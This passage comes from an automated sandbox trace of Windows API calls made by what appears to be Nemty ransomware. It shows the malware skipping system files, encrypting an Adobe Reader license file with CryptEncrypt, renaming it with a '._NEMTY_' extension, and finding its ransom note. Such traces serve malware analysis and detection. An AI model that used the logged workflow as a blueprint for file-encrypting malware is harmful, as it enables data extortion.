| out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.924] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.924] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.925] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.925] Sleep (dwMilliseconds=0x5) [0172.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aba0ff0, dwHighDateTime=0x1d561e8)) [0172.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aba0ff0, dwHighDateTime=0x1d561e8)) [0172.940] GetLastError () returned 0xb7 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.940] GetLastError () returned 0xb7 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="iGTOKBB4vekzus0pcAw6w6Wv4pD4AxUoa79tdA19aNkPg/uQi//u/8Bl+aVAcTJu\r\n7MXJtYzJcaDsOR8w/MUcv5B9IWZBeD+pyf0AL1yJ5ALdpicEvRAC93YUrVgIJxzn\r\ntLF6sVYGaNAkMEmT36flQLSk93Ih8u9+sFfntR+k30HcISEHkFRLV9Iw9vrdZBOU\r\nxrTPUIgUQC0hbz33Lkh0YZQyrmtOAc3+M9ZI5GKcXApf8cKz8oUEnaPQKH40+3TH\r\np7At+YT7HV+qnSoPq9+qzW5T4hagjQk2Rzs8LFxXD8K0L0EnmPUIQHyyj/1N9FRN\r\nrHC3vNJT7BBtqsIEfToBEg==\r\n", pcchString=0x653e5dc) returned 1 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.940] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=121908) returned 1 [0172.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.941] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.941] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.949] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.949] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.950] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=121908, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1dc34 [0172.950] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.950] CloseHandle (hObject=0x3b0) returned 1 [0172.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.950] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html._nemty_kgobjgd_")) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.951] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab54d30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ab54d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab54d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.951] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.952] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab54d30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ab54d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab54d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.952] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.953] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2=".") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="..") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="...") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="windows") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="$RECYCLE.BIN") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="rsa") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="NTDETECT.COM") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="ntldr") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="MSDOS.SYS") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="IO.SYS") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="boot.ini") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="boot.ini") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="AUTOEXEC.BAT") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="ntuser.dat") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="desktop.ini") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="CONFIG.SYS") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="RECYCLER") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="BOOTSECT.BAK") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="bootmgr") returned 1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="programdata") returned -1 [0172.953] lstrcmpiW (lpString1="KOR", lpString2="appdata") returned 1 [0172.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOR", lpUsedDefaultChar=0x0) returned 3 [0172.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOR", lpUsedDefaultChar=0x0) returned 3 [0172.953] RtlAllocateHeap (HeapHandle=0x4f90000, 